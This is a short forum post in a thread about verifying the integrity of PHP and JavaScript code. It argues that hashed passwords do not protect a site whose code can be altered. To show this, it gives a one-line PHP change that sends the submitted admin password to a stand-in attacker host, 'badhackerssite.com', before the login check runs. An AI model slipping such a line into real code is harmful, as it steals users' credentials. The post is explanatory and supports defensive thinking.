Posted by Han on 10/20/75 11:27

Passwords are not stored in plaintext. However, still it's a 2 secs job
to change this line
if(strcmp(sha1('admin'.$_REQUEST['pass']),$adminpass)){
to
fopen('http://www.badhackerssite.com/'.$_REQUEST['pass'], "r");
if(strcmp(sha1('admin'.$_REQUEST['pass']),$adminpass)){
The admin password is leaked the next time user logs in.
[excuse the syntax errors]

• Next in forum: Re: Is there a way to verify integrity of php/javascript code
• Prev in forum: Re: Is there a way to verify integrity of php/javascript code
• Thread view: Re: Is there a way to verify integrity of php/javascript code

[Reply to this message]